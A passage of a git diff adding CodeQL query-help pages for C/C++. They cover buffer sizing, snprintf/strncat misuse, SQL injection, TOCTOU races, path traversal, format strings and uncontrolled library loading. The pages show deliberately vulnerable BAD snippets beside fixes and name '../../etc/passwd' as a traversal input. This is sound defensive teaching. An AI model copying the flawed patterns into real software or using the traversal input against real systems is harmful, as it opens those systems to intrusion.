Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +The highlighted call allocates memory that is too small to contain an instance of the type of the pointer, which can cause a memory overrun. Use the `sizeof` operator to ensure that the function call allocates enough memory for that type. + + +## Example + +```cpp +#define RECORD_SIZE 30 //incorrect or outdated size for record +typedef struct { + char name[30]; + int status; +} Record; + +void f() { + Record* p = malloc(RECORD_SIZE); //not of sufficient size to hold a Record + ... +} + +``` + +## References +* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. +* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). +* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SizeCheck2.md b/docs/language/query-help/cpp/SizeCheck2.md new file mode 100644 index 00000000000..2767a32eb9f --- /dev/null +++ b/docs/language/query-help/cpp/SizeCheck2.md @@ -0,0 +1,41 @@ +# Not enough memory allocated for array of pointer type + +``` +ID: cpp/suspicious-allocation-size +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-131 external/cwe/cwe-122 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Critical/SizeCheck2.ql) + +When you allocate an array from memory using `malloc`, `calloc` or `realloc`, you should ensure that you allocate enough memory to contain a multiple of the size of the required pointer type. Calls that are assigned to a non-void pointer variable, but do not allocate enough memory will cause a buffer overflow when a field accessed on the pointer points to memory that is beyond the allocated array. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +The highlighted call allocates memory that is not a multiple of the size of the pointer type, which can cause a memory overrun. Use the `sizeof` operator to ensure that the function call allocates enough memory for that type. + + +## Example + +```cpp +#define RECORD_SIZE 30 //incorrect or outdated size for record +typedef struct { + char name[30]; + int status; +} Record; + +void f() { + Record* p = malloc(RECORD_SIZE * 4); //wrong: not a multiple of the size of Record + p[3].status = 1; //will most likely segfault + ... +} + +``` + +## References +* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. +* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-131](https://cwe.mitre.org/data/definitions/131.html). +* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SnprintfOverflow.md b/docs/language/query-help/cpp/SnprintfOverflow.md new file mode 100644 index 00000000000..7236604daf4 --- /dev/null +++ b/docs/language/query-help/cpp/SnprintfOverflow.md @@ -0,0 +1,66 @@ +# Potentially overflowing call to snprintf + +``` +ID: cpp/overflowing-snprintf +Kind: problem +Severity: warning +Precision: high +Tags: reliability correctness security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/SnprintfOverflow.ql) + +The return value of a call to `snprintf` is the number of characters that *would have* been written to the buffer assuming there was sufficient space. In the event that the operation reaches the end of the buffer and more than one character is discarded, the return value will be greater than the buffer size. This can cause incorrect behaviour, for example: + + +## Example + +```cpp +#define BUF_SIZE (32) + +int main(int argc, char *argv[]) +{ + char buffer[BUF_SIZE]; + size_t pos = 0; + int i; + + for (i = 0; i < argc; i++) + { + pos += snprintf(buffer + pos, BUF_SIZE - pos, "%s", argv[i]); + // BUF_SIZE - pos may overflow + } +} + +``` + +## Recommendation +The return value of `snprintf` should always be checked if it is used, and values larger than the buffer size should be accounted for. + + +## Example + +```cpp +#define BUF_SIZE (32) + +int main(int argc, char *argv[]) +{ + char buffer[BUF_SIZE]; + size_t pos = 0; + int i; + + for (i = 0; i < argc; i++) + { + int n = snprintf(buffer + pos, BUF_SIZE - pos, "%s", argv[i]); + if (n < 0 || n >= BUF_SIZE - pos) + { + break; + } + pos += n; + } +} + +``` + +## References +* cplusplus.com: [snprintf](http://www.cplusplus.com/reference/cstdio/snprintf/). +* Red Hat Customer Portal: [The trouble with snprintf](https://access.redhat.com/blogs/766093/posts/1976193). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SqlTainted.md b/docs/language/query-help/cpp/SqlTainted.md new file mode 100644 index 00000000000..3550a38f5df --- /dev/null +++ b/docs/language/query-help/cpp/SqlTainted.md @@ -0,0 +1,43 @@ +# Uncontrolled data in SQL query + +``` +ID: cpp/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-089/SqlTainted.ql) + +The code passes user input as part of a SQL query without escaping special elements. It generates a SQL query using `sprintf`, with the user-supplied data directly passed as an argument to `sprintf`. This leaves the code vulnerable to attack by SQL Injection. + + +## Recommendation +Use a library routine to escape characters in the user-supplied string before converting it to SQL. + + +## Example + +```c +int main(int argc, char** argv) { + char *userName = argv[2]; + + // BAD + char query1[1000] = {0}; + sprintf(query1, "SELECT UID FROM USERS where name = \"%s\"", userName); + runSql(query1); + + // GOOD + char userNameSql[1000] = {0}; + encodeSqlString(userNameSql, 1000, userName); + char query2[1000] = {0}; + sprintf(query2, "SELECT UID FROM USERS where name = \"%s\"", userNameSql); + runSql(query2); +} + +``` + +## References +* Microsoft Developer Network: [SQL Injection](http://msdn.microsoft.com/en-us/library/ms161953.aspx). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/StrncpyFlippedArgs.md b/docs/language/query-help/cpp/StrncpyFlippedArgs.md new file mode 100644 index 00000000000..bac8fb2f8eb --- /dev/null +++ b/docs/language/query-help/cpp/StrncpyFlippedArgs.md @@ -0,0 +1,34 @@ +# Possibly wrong buffer size in string copy + +``` +ID: cpp/bad-strncpy-size +Kind: problem +Severity: warning +Precision: medium +Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/StrncpyFlippedArgs.ql) + +The standard library function `strncpy` copies a source string to a destination buffer. The third argument defines the maximum number of characters to copy and should be less than or equal to the size of the destination buffer. Calls of the form `strncpy(dest, src, strlen(src))` or `strncpy(dest, src, sizeof(src))` incorrectly set the third argument to the size of the source buffer. Executing a call of this type may cause a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +Check the highlighted function calls carefully, and ensure that the size parameter is derived from the size of the destination buffer, not the source buffer. + + +## Example + +```cpp +strncpy(dest, src, sizeof(src)); //wrong: size of dest should be used +strncpy(dest, src, strlen(src)); //wrong: size of dest should be used + +``` + +## References +* cplusplus.com: [strncpy](http://www.cplusplus.com/reference/clibrary/cstring/strncpy/). +* I. Gerg. *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4. 2005. +* M. Donaldson. *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). +* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). +* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md b/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md new file mode 100644 index 00000000000..1b04c565439 --- /dev/null +++ b/docs/language/query-help/cpp/SuspiciousAddWithSizeof.md @@ -0,0 +1,43 @@ +# Suspicious add with sizeof + +``` +ID: cpp/suspicious-add-sizeof +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-468 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/SuspiciousAddWithSizeof.ql) + +Pointer arithmetic in C and C++ is automatically scaled according to the size of the data type. For example, if the type of `p` is `T*` and `sizeof(T) == 4` then the expression `p+1` adds 4 bytes to `p`. + +This query finds code of the form `p + k*sizeof(T)`. Such code is usually a mistake because there is no need to manually scale the offset by `sizeof(T)`. + + +## Recommendation +1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with `p[k]`. +1. Cast to the correct type before using pointer arithmetic. For example, if the type of `p` is `char*` but it really points to an array of type `double[]` then use the syntax `(double*)p + k` to get a pointer to the `k`'th element of the array. + +## Example + +```cpp +int example1(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // BAD: the offset is already automatically scaled by sizeof(int), + // so this code will compute the wrong offset. + return *(intPointer + (i * sizeof(int))); +} + +int example2(int i) { + int intArray[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + int *intPointer = intArray; + // GOOD: the offset is automatically scaled by sizeof(int). + return *(intPointer + i); +} + +``` + +## References +* Common Weakness Enumeration: [CWE-468](https://cwe.mitre.org/data/definitions/468.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousCallToStrncat.md b/docs/language/query-help/cpp/SuspiciousCallToStrncat.md new file mode 100644 index 00000000000..83bbb8c6d2a --- /dev/null +++ b/docs/language/query-help/cpp/SuspiciousCallToStrncat.md @@ -0,0 +1,36 @@ +# Potentially unsafe call to strncat + +``` +ID: cpp/unsafe-strncat +Kind: problem +Severity: warning +Precision: medium +Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/SuspiciousCallToStrncat.ql) + +The standard library function `strncat` appends a source string to a target string. The third argument defines the maximum number of characters to append and should be less than or equal to the remaining space in the destination buffer. Calls of the form `strncat(dest, src, strlen(dest))` or `strncat(dest, src, sizeof(dest))` set the third argument to the entire size of the destination buffer. Executing a call of this type may cause a buffer overflow unless the buffer is known to be empty. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +Check the highlighted function calls carefully to ensure that no buffer overflow is possible. For a more robust solution, consider updating the function call to include the remaining space in the destination buffer. + + +## Example + +```cpp +strncat(dest, src, strlen(dest)); //wrong: should use remaining size of dest + +strncat(dest, src, sizeof(dest)); //wrong: should use remaining size of dest. + //Also fails if dest is a pointer and not an array. + +``` + +## References +* cplusplus.com: [strncat](http://www.cplusplus.com/reference/clibrary/cstring/strncat/), [strncpy](http://www.cplusplus.com/reference/clibrary/cstring/strncpy/). +* I. Gerg, *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7 no 4, 2005. +* M. Donaldson, *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room, 2002. +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). +* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). +* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/SuspiciousSizeof.md b/docs/language/query-help/cpp/SuspiciousSizeof.md new file mode 100644 index 00000000000..803a5b0b073 --- /dev/null +++ b/docs/language/query-help/cpp/SuspiciousSizeof.md @@ -0,0 +1,32 @@ +# Suspicious 'sizeof' use + +``` +ID: cpp/suspicious-sizeof +Kind: problem +Severity: warning +Precision: medium +Tags: reliability correctness security external/cwe/cwe-467 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/SuspiciousSizeof.ql) + +This rule finds expressions that take the size of a function parameter of array type. In C, function parameters of array type are treated as if they had the corresponding pointer type, so their size is always the size of the pointer type (typically either four or eight). In particular, one cannot determine the size of a memory buffer passed as a parameter in this way. Using the `sizeof` operator on pointer types will produce unexpected results if the developer intended to get the size of an array instead of the pointer. + + +## Recommendation +Modify the function to take an extra argument indicating the buffer size. + + +## Example + +```cpp +void f(char s[]) { + int size = sizeof(s); //wrong: s is now a char*, not an array. + //sizeof(s) will evaluate to sizeof(char *) +} + +``` + +## References +* Comp.lang.c, Frequently Asked Questions: [Question 6.3: So what is meant by the "equivalence of pointers and arrays" in C?](http://c-faq.com/aryptr/aryptrequiv.html). +* Common Weakness Enumeration: [CWE-467](https://cwe.mitre.org/data/definitions/467.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TOCTOUFilesystemRace.md b/docs/language/query-help/cpp/TOCTOUFilesystemRace.md new file mode 100644 index 00000000000..5497f31fb2a --- /dev/null +++ b/docs/language/query-help/cpp/TOCTOUFilesystemRace.md @@ -0,0 +1,74 @@ +# Time-of-check time-of-use filesystem race condition + +``` +ID: cpp/toctou-race-condition +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-367 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-367/TOCTOUFilesystemRace.ql) + +Often it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon. + +However, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior. + + +## Recommendation +Wherever possible, use functions that operate on file descriptors rather than file names (for example, `fchmod` rather than `chmod`). + +For access checks, you can temporarily change the UID and GID to that of the user whose permissions are being checked, and then perform the operation. This has the effect of "atomically" combining a permissions check with the operation. + +If file-system locking tools are available on your platform, then locking the file before the check can prevent an unexpected update. However, note that on some platforms (for example, Unix) file-system locks are typically *advisory*, and so can be ignored by an attacker. + + +## Example +The following example shows a case where a file is opened and then, if the opening was successful, its permissions are changed with `chmod`. However, an attacker might change the target of the file name between the initial opening and the permissions change, potentially changing the permissions of a different file. + + +```c +char *file_name; +FILE *f_ptr; + +/* Initialize file_name */ + +f_ptr = fopen(file_name, "w"); +if (f_ptr == NULL) { + /* Handle error */ +} + +/* ... */ + +if (chmod(file_name, S_IRUSR) == -1) { + /* Handle error */ +} +``` +This can be avoided by using `fchmod` with the file descriptor that was received from opening the file. This ensures that the permissions change is applied to the very same file that was opened. + + +```c +char *file_name; +int fd; + +/* Initialize file_name */ + +fd = open( + file_name, + O_WRONLY | O_CREAT | O_EXCL, + S_IRWXU +); +if (fd == -1) { + /* Handle error */ +} + +/* ... */ + +if (fchmod(fd, S_IRUSR) == -1) { + /* Handle error */ +} +``` + +## References +* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification). +* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedAllocationSize.md b/docs/language/query-help/cpp/TaintedAllocationSize.md new file mode 100644 index 00000000000..728632b2e17 --- /dev/null +++ b/docs/language/query-help/cpp/TaintedAllocationSize.md @@ -0,0 +1,41 @@ +# Overflow in uncontrolled allocation size + +``` +ID: cpp/uncontrolled-allocation-size +Kind: path-problem +Severity: error +Precision: high +Tags: reliability security external/cwe/cwe-190 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/TaintedAllocationSize.ql) + +This code calculates an allocation size by multiplying a user input by a `sizeof` expression. Since the user input has no apparent guard on its magnitude, this multiplication can overflow. When an integer multiply overflows in C, the result can wrap around and be much smaller than intended. A later attempt to put data into the allocated buffer can then overflow. + + +## Recommendation +Guard all integer parameters that come from an external user. Implement a guard with the expected range for the parameter and make sure that the input value meets both the minimum and maximum requirements for this range. If the input value fails this guard then reject the request before proceeding further. If the input value passes the guard then subsequent calculations should not overflow. + + +## Example + +```c +int factor = atoi(getenv("BRANCHING_FACTOR")); + +// GOOD: Prevent overflow by checking the input +if (factor < 0 || factor > 1000) { + log("Factor out of range (%d)\n", factor); + return -1; +} + +// This line can allocate too little memory if factor +// is very large. +char **root_node = (char **) malloc(factor * sizeof(char *)); + +``` +This code shows one way to guard that an input value is within the expected range. If `factor` fails the guard, then an error is returned, and the value is not used as an argument to the subsequent call to `malloc`. Without this guard, the allocated buffer might be too small to hold the data intended for it. + + +## References +* The CERT Oracle Secure Coding Standard for C: [INT04-C. Enforce limits on integer values originating from tainted sources](https://www.securecoding.cert.org/confluence/display/c/INT04-C.+Enforce+limits+on+integer+values+originating+from+tainted+sources). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedCondition.md b/docs/language/query-help/cpp/TaintedCondition.md new file mode 100644 index 00000000000..d948d658d14 --- /dev/null +++ b/docs/language/query-help/cpp/TaintedCondition.md @@ -0,0 +1,45 @@ +# Untrusted input for a condition + +``` +ID: cpp/tainted-permissions-check +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-807 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-807/TaintedCondition.ql) + +This rule finds code where untrusted inputs are used in an `if` statement, and the body of that statement makes a security decision. This is an example of CWE-807 and makes the program vulnerable to attack. An attacker might be able to gain unauthorized access to the system by manipulating external inputs to the system. + + +## Recommendation +In most cases, you need to add or strengthen the checks made on the user-supplied data to ensure its integrity. The user-supplied data can then be used as a trusted input to the security decision. For example, instead of checking an HTTP cookie against a predictable fixed string, check a cookie against a randomly generated session key. + +This rule may highlight a few conditions where user-supplied data has been checked and can be trusted. It is not always possible to determine if the checks applied to data are enough to ensure security. + + +## Example +The following example is included in CWE 807. + + +```c +struct hostent *hp;struct in_addr myaddr; +char* tHost = "trustme.example.com"; +myaddr.s_addr=inet_addr(ip_addr_string); + +hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET); +if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) { + trusted = true; +} else { + trusted = false; +} + +``` +In this example, the result of a reverse DNS query is compared against a fixed string. An attacker can return an incorrect reverse DNS entry for the requesting IP and thus gain the same access as a legitimate user from `trustme.example.com`. + +To fix the problem in this example, you need to add an additional mechanism to test the user-supplied data. For example, numeric IP addresses could be used. + + +## References +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TaintedPath.md b/docs/language/query-help/cpp/TaintedPath.md new file mode 100644 index 00000000000..552c4bae0ca --- /dev/null +++ b/docs/language/query-help/cpp/TaintedPath.md @@ -0,0 +1,61 @@ +# Uncontrolled data used in path expression + +``` +ID: cpp/path-injection +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-022/TaintedPath.ql) + +Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the filesystem. + + +## Recommendation +Validate user input before using it to construct a filepath. Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the filesystem). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". +* Ideally use a whitelist of known good patterns. + +## Example +In this example, a username and file are read from the arguments to main and then used to access a file in the user's home directory. However, a malicious user could enter a filename which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This could potentially allow them to access all the system's passwords. + + +```c +int main(int argc, char** argv) { + char *userAndFile = argv[2]; + + { + char fileBuffer[FILENAME_MAX] = "/home/"; + char *fileName = fileBuffer; + size_t len = strlen(fileName); + strncat(fileName+len, userAndFile, FILENAME_MAX-len-1); + // BAD: a string from the user is used in a filename + fopen(fileName, "wb+"); + } + + { + char fileBuffer[FILENAME_MAX] = "/home/"; + char *fileName = fileBuffer; + size_t len = strlen(fileName); + // GOOD: use a fixed file + char* fixed = "jim/file.txt"; + strncat(fileName+len, fixed, FILENAME_MAX-len-1); + fopen(fileName, "wb+"); + } +} + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/TooFewArguments.md b/docs/language/query-help/cpp/TooFewArguments.md new file mode 100644 index 00000000000..42d00e6e211 --- /dev/null +++ b/docs/language/query-help/cpp/TooFewArguments.md @@ -0,0 +1,42 @@ +# Call to function with fewer arguments than declared parameters + +``` +ID: cpp/too-few-arguments +Kind: problem +Severity: error +Precision: very-high +Tags: correctness maintainability security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Underspecified%20Functions/TooFewArguments.ql) + +A function is called with fewer arguments than there are parameters of the function. + +This may indicate that an incorrect function is being called, or that the signature (parameter list) of the called function is not known to the author. + +In C, function calls generally need to provide the same number of arguments as there are arguments to the function. (Variadic functions can accept additional arguments.) Providing fewer arguments than there are parameters is extremely dangerous, as the called function will nevertheless try to obtain the missing arguments' values, either from the stack or from machine registers. As a result, the function may behave unpredictably. + +If the called function *modifies* a parameter corresponding to a missing argument, it may alter the state of the program upon its return. An attacker could use this to, for example, alter the control flow of the program to access forbidden resources. + + +## Recommendation +Call the function with the correct number of arguments. + + +## Example + +```c +void one_argument(); + +void calls() { + one_argument(1); // GOOD: `one_argument` will accept and use the argument + + one_argument(); // BAD: `one_argument` will receive an undefined value +} + +void one_argument(int x); + +``` + +## References +* SEI CERT C Coding Standard: [ DCL20-C. Explicitly specify void when a function accepts no arguments ](https://wiki.sei.cmu.edu/confluence/display/c/DCL20-C.+Explicitly+specify+void+when+a+function+accepts+no+arguments) \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnboundedWrite.md b/docs/language/query-help/cpp/UnboundedWrite.md new file mode 100644 index 00000000000..70b2f98e2df --- /dev/null +++ b/docs/language/query-help/cpp/UnboundedWrite.md @@ -0,0 +1,42 @@ +# Unbounded write + +``` +ID: cpp/unbounded-write +Kind: path-problem +Severity: error +Precision: medium +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/UnboundedWrite.ql) + +The program performs a buffer copy or write operation with no upper limit on the size of the copy. An unexpectedly long input that reaches this code will cause the buffer to overflow. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. + + +## Recommendation +Always control the length of buffer copy and buffer write operations. `strncpy` should be used over `strcpy`, `snprintf` over `sprintf` etc. In general 'n-variant' functions should be preferred. + + +## Example + +```c +void congratulateUser(const char *userName) +{ + char buffer[80]; + + // BAD: this could overflow the buffer if the UserName is long + sprintf(buffer, "Congratulations, %s!", userName); + + MessageBox(hWnd, buffer, "New Message", MB_OK); +} +``` +In this example, the call to `sprintf` may overflow `buffer`. This occurs if the argument `userName` is very long, such that the resulting string is more than the 80 characters allowed. + +To fix the problem the call to `sprintf` should be replaced with `snprintf`, specifying a maximum length of 80 characters. + + +## References +* CERT C++ Coding Standard: [STR50-CPP. Guarantee that storage for strings has sufficient space for character data and the null terminator](https://www.securecoding.cert.org/confluence/display/cplusplus/STR50-CPP.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). +* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledFormatString.md b/docs/language/query-help/cpp/UncontrolledFormatString.md new file mode 100644 index 00000000000..5a9f830019c --- /dev/null +++ b/docs/language/query-help/cpp/UncontrolledFormatString.md @@ -0,0 +1,45 @@ +# Uncontrolled format string + +``` +ID: cpp/tainted-format-string +Kind: path-problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatString.ql) + +The program uses input from the user as a format string for `printf` style functions. This can lead to buffer overflows or data representation problems. An attacker can exploit this weakness to crash the program, disclose information or even execute arbitrary code. + +The results of this rule do not include inputs from the user that are transferred through global variables. Those can be found in the related rule "Uncontrolled format string (through global variable)". + + +## Recommendation +Use constant expressions as the format strings. If you need to print a value from the user, use `printf("%s", value_from_user)`. + + +## Example + +```c +#include + +void printWrapper(char *str) { + printf(str); +} + +int main(int argc, char **argv) { + // This should be avoided + printf(argv[1]); + + // This should be avoided too, because it has the same effect + printWrapper(argv[1]); + + // This is fine + printf("%s", argv[1]); +} +``` + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md b/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md new file mode 100644 index 00000000000..5191c3edec4 --- /dev/null +++ b/docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md @@ -0,0 +1,56 @@ +# Uncontrolled format string (through global variable) + +``` +ID: cpp/tainted-format-string-through-global +Kind: path-problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatStringThroughGlobalVar.ql) + +The program uses input from the user, propagated via a global variable, as a format string for `printf` style functions. This can lead to buffer overflows or data representation problems. An attacker can exploit this weakness to crash the program, disclose information or even execute arbitrary code. + +This rule only identifies inputs from the user that are transferred through global variables before being used in `printf` style functions. Analyzing the flow of data through global variables is more prone to errors and so this rule may identify some examples of code where the input is not really from the user. For example, when a global variable is set in two places, one that comes from the user and one that does not. In this case we would mark all usages of the global variable as input from the user, but the input from the user may always came after the call to the `printf` style functions. + +The results of this rule should be considered alongside the related rule "Uncontrolled format string" which tracks the flow of the values input by a user, excluding global variables, until the values are used as the format argument for a `printf` like function call. + + +## Recommendation +Use constant expressions as the format strings. If you need to print a value from the user, use `printf("%s", value_from_user)`. + + +## Example + +```c +#include + +char *copy; + +void copyArgv(char **argv) { + copy = argv[1]; +} + +void printWrapper(char *str) { + printf(str); +} + +int main(int argc, char **argv) { + copyArgv(argv); + + // This should be avoided + printf(copy); + + // This should be avoided too, because it has the same effect + printWrapper(copy); + + // This is fine + printf("%s", copy); +} + +``` + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UncontrolledProcessOperation.md b/docs/language/query-help/cpp/UncontrolledProcessOperation.md new file mode 100644 index 00000000000..56896c33bd3 --- /dev/null +++ b/docs/language/query-help/cpp/UncontrolledProcessOperation.md @@ -0,0 +1,46 @@ +# Uncontrolled process operation + +``` +ID: cpp/uncontrolled-process-operation +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-114 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-114/UncontrolledProcessOperation.ql) + +The code passes user input directly to `system`, `dlopen`, `LoadLibrary` or some other process or library routine. As a result, the user can cause execution of arbitrary code. + + +## Recommendation +If possible, use hard-coded string literals for the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user-input string is safe before using it. + + +## Example + +```c +int main(int argc, char** argv) { + char *lib = argv[2]; + + // BAD: the user can cause arbitrary code to be loaded + void* handle = dlopen(lib, RTLD_LAZY); + + // GOOD: only hard-coded libraries can be loaded + void* handle2; + + if (!strcmp(lib, "inmem")) { + handle2 = dlopen("/usr/share/dbwrap/inmem", RTLD_LAZY); + } else if (!strcmp(lib, "mysql")) { + handle2 = dlopen("/usr/share/dbwrap/mysql", RTLD_LAZY); + } else { + die("Invalid library specified\n"); + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-114](https://cwe.mitre.org/data/definitions/114.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UninitializedLocal.md b/docs/language/query-help/cpp/UninitializedLocal.md new file mode 100644 index 00000000000..41a3c38e030 --- /dev/null +++ b/docs/language/query-help/cpp/UninitializedLocal.md @@ -0,0 +1,61 @@ +# Potentially uninitialized local variable + +``` +ID: cpp/uninitialized-local +Kind: problem +Severity: warning 